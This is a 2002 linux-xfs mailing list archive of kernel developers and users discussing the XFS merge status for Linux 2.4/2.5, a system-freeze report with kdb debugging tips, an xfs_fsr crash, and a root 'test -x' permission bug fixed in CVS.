wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA09090; Wed, 21 Aug 2002 09:07:42 +1000 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id JAA39083; Wed, 21 Aug 2002 09:07:41 +1000 (AEST) Date: Wed, 21 Aug 2002 09:07:41 +1000 From: Nathan Scott To: Christoph Hellwig Cc: linux-xfs@oss.sgi.com Subject: List of core Linux changes (was Re: JFS is going into 2.4? What about XFS in 2.5.?) Message-ID: <20020821090741.A38913@wobbly.melbourne.sgi.com> References: <1029867556.2336.37.camel@venus> <20020820193505.A2770@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020820193505.A2770@infradead.org>; from hch@infradead.org on Tue, Aug 20, 2002 at 07:35:05PM +0100 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7KN62EC012733 X-Spam-Status: No, hits=-2.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED,SUBJ_HAS_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Tue, Aug 20, 2002 at 07:35:05PM +0100, Christoph Hellwig wrote: > On Tue, Aug 20, 2002 at 08:19:16PM +0200, Olaf Fr±czyk wrote: > > Could you do a web page describing status of integrating XFS into > > kernel? > > It would be great to have it in 2.4 (may be marked as experimental?) > > Required XFS bits: > > 2.4 2.4-ac 2.5 > --------------------------------------------------------------------­ > buffer writeback through ->writepage - - x (1) > mapping of arbitrary pages into KVA - - x > kmem_cache_size() x x x > -funsigned-char friendly spin_is_locked() x - (2) x > ->alloc_inode/->destroy_inode methods - - x > iget_locked() - - x > lockless generic_file_write() - - x > find_or_create_page() exported/inline - - x > mark_page_accessed exported - - - > PF_FTRANS flag for task_struct - - - > generic_file_direct_IO fixes - - - (3) > additional exports - - - (4) > XFS filesystem code - - - One other piece we depend on (not yet in 2.4, I think)... Jan Kara's VFS quota code - x x > > (1) Andrew Morton's buffer layer rewrite provides equivalent functionality > (2) Alan backed it out. Needed for debug builds currently. > (3) Not needed in 2.5, we use the less picky generic O_DIRECT code > (4) Not needed/already exported in 2.5 > > > > Optional items in the XFS tree: > > 2.4 2.4-ac 2.5 > --------------------------------------------------------------------­ > VFS xattr code - - x > VFS ACL code - - - > ->mrotect method (for dmapi) - - - > XFS dmapi code - - - > -- Nathan From owner-linux-xfs@oss.sgi.com Tue Aug 20 21:44:17 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7L4iHEC016895 for ; Tue, 20 Aug 2002 21:44:17 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7L4iHF6016894 for linux-xfs-outgoing; Tue, 20 Aug 2002 21:44:17 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from gannet.scg.man.ac.uk (gannet.scg.man.ac.uk [130.88.94.110]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7L4iAEC016863 for ; Tue, 20 Aug 2002 21:44:10 -0700 Received: from os046.sta.man.ac.uk ([130.88.188.46] helo=doufu ident=mail) by gannet.scg.man.ac.uk with esmtp (Exim 2.05 #6) id 17hNOg-000Mcc-00 for linux-xfs@oss.sgi.com; Wed, 21 Aug 2002 05:47:10 +0100 Received: from xiao.rsnet ([192.168.1.2] helo=xiao ident=mail) by doufu with esmtp (Exim 3.35 #1 (Debian)) id 17hNGj-0005tl-00 for ; Wed, 21 Aug 2002 05:38:57 +0100 Received: from rhowe by xiao with local (Exim 3.35 #1 (Debian)) id 17hNOZ-0000Ux-00 for ; Wed, 21 Aug 2002 05:47:03 +0100 Date: Wed, 21 Aug 2002 05:47:03 +0100 To: linux-xfs@oss.sgi.com Subject: Re: System freezes with high kernel CPU usage Message-ID: <20020821044654.GA1754@xiao> References: <20020820153329.GA13136@xiao> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020820153329.GA13136@xiao> User-Agent: Mutt/1.4i From: Russell Howe X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Tue, Aug 20, 2002 at 04:33:38PM +0100, Russell Howe wrote: > Hi, > > XFS has been performing great for me so far on my desktop machine (a > dual CPU system), although lately I've noticed some odd behaviour. The > system will lock up for several seconds, respond for a split second, > then lock up again for another 5-10 seconds or so, then again, this goes > on for a minute or two. The system isn't under any load at the time, X > is running, noatun open playing MP3s (although without the rest of KDE). > Just light normal use. OK, the system just locked up completely. I had to power-cycle it. 15mins after it had booted, the same thing as described previously happened, so it's not really related to something that accumulates over time. I'd only just logged into gdm and loaded an IRC client before it froze. I managed to do some rough timings of the freezes.. they went on for 3 or 4 mins, and the system remained frozen at 100% kernel CPU for about 15-20 seconds at a time (I think I was measuring 25 seconds, then 20, then 15 for the last minute or so). Afterwards, the system responds normally. I will checkout the latest CVS (proper 2.4.19 etc) and see if that makes any difference. Any idea if it is likely to? -- Russell Howe | Why be just another cog in the machine, rhowe@wiss.co.uk | when you can be the spanner in the works? From owner-linux-xfs@oss.sgi.com Tue Aug 20 22:01:02 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7L512EC017344 for ; Tue, 20 Aug 2002 22:01:02 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7L50rUG017341 for linux-xfs-outgoing; Tue, 20 Aug 2002 22:00:53 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7L50lEC017309 for ; Tue, 20 Aug 2002 22:00:48 -0700 Received: from user-1121o7c.dialup.mindspring.com ([66.32.224.236]) by tisch.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17hNeh-000480-00; Wed, 21 Aug 2002 01:03:43 -0400 Subject: Re: Lotus Domino on XFS/Linux? From: Chris Weyl To: Jameel Akari Cc: linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 21 Aug 2002 00:12:36 -0500 Message-Id: <1029906757.2170.23124.camel@athena> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Tue, 2002-08-20 at 07:55, Jameel Akari wrote: > Anyone here running Lotus Domino servers on Linux XFS? > Good/bad/indifferent? I've been running Domino on top of Linux/XFS for the last, oh, year or so now. I've never had any problems with it related to XFS. > Our Lotus admin is getting thoroughly sick and tired of Windoze blowing up > on him, so we endeavor to bring him back from the dark side... ;) May the source be with you:-) -Chris From owner-linux-xfs@oss.sgi.com Wed Aug 21 00:15:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7L7FoEC021259 for ; Wed, 21 Aug 2002 00:15:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7L7FoRF021258 for linux-xfs-outgoing; Wed, 21 Aug 2002 00:15:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7L7FiEC021225 for ; Wed, 21 Aug 2002 00:15:45 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17hPlM-0004bt-00; Wed, 21 Aug 2002 08:18:44 +0100 Date: Wed, 21 Aug 2002 08:18:44 +0100 From: Christoph Hellwig To: Nathan Scott Cc: linux-xfs@oss.sgi.com Subject: Re: List of core Linux changes (was Re: JFS is going into 2.4? What about XFS in 2.5.?) Message-ID: <20020821081844.A17719@infradead.org> References: <1029867556.2336.37.camel@venus> <20020820193505.A2770@infradead.org> <20020821090741.A38913@wobbly.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020821090741.A38913@wobbly.melbourne.sgi.com>; from nathans@sgi.com on Wed, Aug 21, 2002 at 09:07:41AM +1000 X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO,SUBJ_HAS_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, Aug 21, 2002 at 09:07:41AM +1000, Nathan Scott wrote: > > One other piece we depend on (not yet in 2.4, I think)... > > Jan Kara's VFS quota code - x x We don't dependt on it, but require it for the option quota support, yes. dunno how I could forget it.. From owner-linux-xfs@oss.sgi.com Wed Aug 21 02:15:20 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7L9FKEC024533 for ; Wed, 21 Aug 2002 02:15:20 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7L9FKJF024532 for linux-xfs-outgoing; Wed, 21 Aug 2002 02:15:20 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from verein.lst.de (verein.lst.de [212.34.181.86]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7L9F6EC024503 for ; Wed, 21 Aug 2002 02:15:08 -0700 Received: (from hch@localhost) by verein.lst.de (8.11.6/8.11.6) id g7L9I6o29752; Wed, 21 Aug 2002 11:18:06 +0200 Date: Wed, 21 Aug 2002 11:18:06 +0200 From: Christoph Hellwig To: linux-xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org Subject: Updated XFS merge status Message-ID: <20020821111806.A29739@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.2.5i X-MIME-Autoconverted: from 8bit to quoted-printable by verein.lst.de id g7L9I6o29752 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7L9F8EC024504 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk [this document is available online from http://verein.lst.de/~hch/xfs/status.txt] XFS Merge status as of 2002/08/21 Christoph Hellwig Covered kernels: - 2.4.20-pre4 - 2.4.20-pre2-ac5 - 2.5.31 + BK up to 2002/08/21 Required XFS bits 2.4 2.4-ac 2.5 --------------------------------------------------------------------­ buffer writeback through ->writepage - - x (1) mapping of arbitrary pages into KVA - - x kmem_cache_size() x x x ->alloc_inode/->destroy_inode methods - - x iget_locked() - - x lockless generic_file_write() - - x find_or_create_page() exported/inline - - x mark_page_accessed exported - - - PF_FTRANS flag for task_struct - - - generic_file_direct_IO fixes - - - (2) additional exports - - - (3) XFS filesystem code - - - Changes for specific XFS configurations 2.4 2.4-ac 2.5 --------------------------------------------------------------------­ -funsigned-char friendly spin_is_locked() x - (4) x New VFS quota code - x x sem_getcount() abstraction - (5) x - (5) VFS xattr code - - x VFS ACL code - - - ->mrotect method (for dmapi) - - - XFS dmapi code - (6) - (6) - (6) Other changes in the XFS tree 2.4 2.4-ac 2.5 --------------------------------------------------------------------­ KDB - (7) - (7) - (7) Disable broken XFS support in intermezzo - - - (1) Andrew Morton's buffer layer rewrite provides equivalent functionality. (2) Not needed in 2.5, we use the less picky generic O_DIRECT code. (3) Not needed/already exported in 2.5. (4) Alan backed it out. Needed for debug builds currently. (5) Needed for debug builds on parisc. Not in the XFS tree. (6) Not likely to go in ever. (technical reasons) (7) Not likely to go in ever. (political reasons) From owner-linux-xfs@oss.sgi.com Wed Aug 21 02:23:57 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7L9NvEC024746 for ; Wed, 21 Aug 2002 02:23:57 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7L9Nvuu024745 for linux-xfs-outgoing; Wed, 21 Aug 2002 02:23:57 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sm6.163.com ([202.108.44.222]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7L9NnEC024712 for ; Wed, 21 Aug 2002 02:23:52 -0700 Received: from localhost (localhost [127.0.0.1]) by sm6.163.com (Postfix) with SMTP id 581391D50E862 for ; Wed, 21 Aug 2002 17:26:46 +0800 (CST) Received: from Icewind (unknown [61.177.58.51]) by 192.168.1.222 (Coremail) with SMTP id rgkAANVcYz3sBDoz.1 for ; Wed, 21 Aug 2002 17:26:46 +0800 (CST) Date: Wed, 21 Aug 2002 17:26:45 +0800 From: Icewind To: "linux-xfs@oss.sgi.com" Subject: xfs_fsr problem X-mailer: FoxMail 4.0 beta 2 [cn] Mime-Version: 1.0 Content-Type: text/plain; charset="GB2312" Message-Id: <20020821092646.581391D50E862@sm6.163.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by oss.sgi.com id g7L9NrEC024713 X-Spam-Status: No, hits=-0.4 required=5.0 tests=SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi all, I have used xfs_fsr to defrag the harddisk partitions.I found that when there are some big files (such as a file is big than 4GB) and the partition is almost full (40G total , 13% free),the xfs_fsr will be crashed , and the computer has no response. I use "-d -v" options to view what's wrong with that ,but there is no any userful information. I find that only 1-2M memory free in 64M RAM. Anyone can help me find out what problem about these? From owner-linux-xfs@oss.sgi.com Wed Aug 21 06:31:30 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LDVUEC030797 for ; Wed, 21 Aug 2002 06:31:30 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LDVUbY030796 for linux-xfs-outgoing; Wed, 21 Aug 2002 06:31:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail5.svr.pol.co.uk (mail5.svr.pol.co.uk [195.92.193.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LDVMEC030763 for ; Wed, 21 Aug 2002 06:31:23 -0700 Received: from modem-1007.barrelled.dialup.pol.co.uk ([62.25.143.239] helo=dgreaves.com) by mail5.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17hVct-0008Op-00 for linux-xfs@oss.sgi.com; Wed, 21 Aug 2002 14:34:23 +0100 Received: from dgreaves.com (100.dgreaves.com [10.0.0.100]) by dgreaves.com (8.11.6/8.11.0) with ESMTP id g7LDFiK27061 for ; Wed, 21 Aug 2002 14:15:45 +0100 Message-ID: <3D6396DE.9050008@dgreaves.com> Date: Wed, 21 Aug 2002 14:34:22 +0100 From: David Greaves User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: RH7.3 with XFS : /usr/bin/test -x seems broken Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi When I use /usr/bin/test, well, [ -x filename ] it always returns true. I've tried this on two systems now (both installed using the same media, both running fine otherwise) I don't have any other systems to test against yet - my debian/XFS is down. And all my filesystems are XFS... oh well. Test case is pretty simple: # ll /tmp/myfile ls: /tmp/myfile: No such file or directory # touch /tmp/myfile # if [ -x /tmp/myfile ]; then echo yep; fi yep # ll /tmp/myfile -rw-r--r-- 1 root root 0 Aug 21 14:00 /tmp/myfile # Anyone else have this? I'll try and narrow it down further... Systems are RH7.3 with 2.4.18-4SGI_XFS_1.1 installed using the iso and patch (thanks for those BTW) David Greaves (Hello to anyone who knew me when I sysadmin'ed SGI in the UK) From owner-linux-xfs@oss.sgi.com Wed Aug 21 07:04:08 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LE48EC031779 for ; Wed, 21 Aug 2002 07:04:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LE48X5031778 for linux-xfs-outgoing; Wed, 21 Aug 2002 07:04:08 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LE3wEC031746 for ; Wed, 21 Aug 2002 07:03:58 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA80466; Wed, 21 Aug 2002 09:06:53 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA03693; Wed, 21 Aug 2002 09:06:53 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7LE3ji32194; Wed, 21 Aug 2002 09:03:45 -0500 Subject: Re: RH7.3 with XFS : /usr/bin/test -x seems broken From: Steve Lord To: David Greaves Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D6396DE.9050008@dgreaves.com> References: <3D6396DE.9050008@dgreaves.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 21 Aug 2002 09:03:45 -0500 Message-Id: <1029938625.32146.2.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-21 at 08:34, David Greaves wrote: > Hi > > When I use /usr/bin/test, well, [ -x filename ] it always returns true. > > I've tried this on two systems now (both installed using the same media, > both running fine otherwise) > I don't have any other systems to test against yet - my debian/XFS is down. > And all my filesystems are XFS... oh well. > > Test case is pretty simple: > # ll /tmp/myfile > ls: /tmp/myfile: No such file or directory > # touch /tmp/myfile > # if [ -x /tmp/myfile ]; then echo yep; fi > yep > # ll /tmp/myfile > -rw-r--r-- 1 root root 0 Aug 21 14:00 /tmp/myfile > # > > Anyone else have this? > > I'll try and narrow it down further... > > Systems are RH7.3 with 2.4.18-4SGI_XFS_1.1 > installed using the iso and patch (thanks for those BTW) A CVS kernel does not exhibit this behavior, you might want to update your kernel. > > David Greaves > (Hello to anyone who knew me when I sysadmin'ed SGI in the UK) Well, I used to work for Cray in the UK, but that was well before SGI bought Cray. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Aug 21 07:08:51 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LE8pEC031953 for ; Wed, 21 Aug 2002 07:08:51 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LE8pJ7031952 for linux-xfs-outgoing; Wed, 21 Aug 2002 07:08:51 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LE8iEC031923 for ; Wed, 21 Aug 2002 07:08:45 -0700 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.191.42]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA84236; Wed, 21 Aug 2002 09:11:41 -0500 (CDT) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.35 #1 (Debian)) id 17hWCt-0005Y8-00; Wed, 21 Aug 2002 09:11:35 -0500 Date: Wed, 21 Aug 2002 09:11:35 -0500 From: Nathan Straz To: David Greaves Cc: linux-xfs@oss.sgi.com Subject: Re: RH7.3 with XFS : /usr/bin/test -x seems broken Message-ID: <20020821141135.GA20157@sgi.com> Mail-Followup-To: David Greaves , linux-xfs@oss.sgi.com References: <3D6396DE.9050008@dgreaves.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D6396DE.9050008@dgreaves.com> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, Aug 21, 2002 at 02:34:22PM +0100, David Greaves wrote: > When I use /usr/bin/test, well, [ -x filename ] it always returns true. Does it only happen when you're root? See: TAKE - fix root access() and non-executables http://marc.theaimsgroup.com/?l=linux-xfs&m=102528663319323&w=2 -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Wed Aug 21 07:39:51 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LEdpEC032314 for ; Wed, 21 Aug 2002 07:39:51 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LEdp9S032313 for linux-xfs-outgoing; Wed, 21 Aug 2002 07:39:51 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from cmailg5.svr.pol.co.uk (cmailg5.svr.pol.co.uk [195.92.195.175]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LEdhEC032285 for ; Wed, 21 Aug 2002 07:39:44 -0700 Received: from [195.92.168.141] (helo=tmailb1.svr.pol.co.uk) by cmailg5.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17hWh2-0002tG-00 for linux-xfs@oss.sgi.com; Wed, 21 Aug 2002 15:42:44 +0100 Received: from modem-1275.arcanine.dialup.pol.co.uk ([217.135.25.251] helo=dgreaves.com) by tmailb1.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17hWh1-0007fy-00 for linux-xfs@oss.sgi.com; Wed, 21 Aug 2002 15:42:44 +0100 Received: from dgreaves.com (100.dgreaves.com [10.0.0.100]) by dgreaves.com (8.11.6/8.11.0) with ESMTP id g7LEO2K27416; Wed, 21 Aug 2002 15:24:02 +0100 Message-ID: <3D63A6DE.4050200@dgreaves.com> Date: Wed, 21 Aug 2002 15:42:38 +0100 From: David Greaves User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nathan Straz CC: linux-xfs@oss.sgi.com Subject: Re: RH7.3 with XFS : /usr/bin/test -x seems broken References: <3D6396DE.9050008@dgreaves.com> <20020821141135.GA20157@sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Nathan Straz wrote: >On Wed, Aug 21, 2002 at 02:34:22PM +0100, David Greaves wrote: > > >>When I use /usr/bin/test, well, [ -x filename ] it always returns true. >> >> > >Does it only happen when you're root? > >See: TAKE - fix root access() and non-executables >http://marc.theaimsgroup.com/?l=linux-xfs&m=102528663319323&w=2 > > > Yep My searches missed this :) For the record (and search engines) it was the autofs init.d script that was failing silently and thought my file maps were program maps. Hmm, seems that this is a fairly easy-to-exercise bug in the RH7.3 XFS kernel. I'll see what Eric Sandeen did and see if it applies to the src shipped with the RH iso so it can be patched. David From owner-linux-xfs@oss.sgi.com Wed Aug 21 08:00:16 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LF0FEC032697 for ; Wed, 21 Aug 2002 08:00:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LF0FUa032696 for linux-xfs-outgoing; Wed, 21 Aug 2002 08:00:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LF03EC032658 for ; Wed, 21 Aug 2002 08:00:04 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA82260; Wed, 21 Aug 2002 10:03:00 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id KAA77612; Wed, 21 Aug 2002 10:02:59 -0500 (CDT) Subject: Re: System freezes with high kernel CPU usage From: Eric Sandeen To: Russell Howe Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020821044654.GA1754@xiao> References: <20020820153329.GA13136@xiao> <20020821044654.GA1754@xiao> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 21 Aug 2002 10:02:06 -0500 Message-Id: <1029942127.20941.4.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Russell - The other thing you might do is compile in kdb, and when it locks up see if you can get into kdb. (You'd need to get to a text console, then hit the "pause" key). Once in kdb, "ps" will show you running processes, and then "btp " will show you the backtrace for . "bta" will show you all backtraces. You can look through those to see if anything seems to be stuck waiting for a lock, etc. It's easier to capture the output if you have another machine connected to kdb via serial, but you can just poke around and take notes by hand if you don't have a serial console On the off chance that this has something to do with your almost-full filesystem, you could try unmounting it and seeing if the machine stays up - I don't think this is likely to be the problem, though. -Eric On Tue, 20 02-08-20 at 23:47, Russell Howe wrote: > On Tue, Aug 20, 2002 at 04:33:38PM +0100, Russell Howe wrote: > > Hi, > > > > XFS has been performing great for me so far on my desktop machine (a > > dual CPU system), although lately I've noticed some odd behaviour. The > > system will lock up for several seconds, respond for a split second, > > then lock up again for another 5-10 seconds or so, then again, this goes > > on for a minute or two. The system isn't under any load at the time, X > > is running, noatun open playing MP3s (although without the rest of KDE). > > Just light normal use. > > OK, the system just locked up completely. I had to power-cycle it. > 15mins after it had booted, the same thing as described previously > happened, so it's not really related to something that accumulates over > time. I'd only just logged into gdm and loaded an IRC client before it > froze. > > I managed to do some rough timings of the freezes.. they went on for 3 > or 4 mins, and the system remained frozen at 100% kernel CPU for about > 15-20 seconds at a time (I think I was measuring 25 seconds, then 20, > then 15 for the last minute or so). Afterwards, the system responds > normally. > > I will checkout the latest CVS (proper 2.4.19 etc) and see if that makes > any difference. Any idea if it is likely to? > > -- > Russell Howe | Why be just another cog in the machine, > rhowe@wiss.co.uk | when you can be the spanner in the works? -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Wed Aug 21 08:38:18 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LFcIEC001376 for ; Wed, 21 Aug 2002 08:38:18 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LFcI5q001375 for linux-xfs-outgoing; Wed, 21 Aug 2002 08:38:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LFcDEC001346 for ; Wed, 21 Aug 2002 08:38:13 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA82772 for ; Wed, 21 Aug 2002 10:41:10 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA29111 for ; Wed, 21 Aug 2002 10:41:10 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7LFeGx21177; Wed, 21 Aug 2002 10:40:16 -0500 Message-Id: <200208211540.g7LFeGx21177@stout.americas.sgi.com> Date: Wed, 21 Aug 2002 10:40:16 -0500 Subject: TAKE - Put vn_remove stats back in X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Somehow the line that bumps the xfsstats for vn_remove got... removed! Put vn_remove stats back in Date: Wed Aug 21 08:40:32 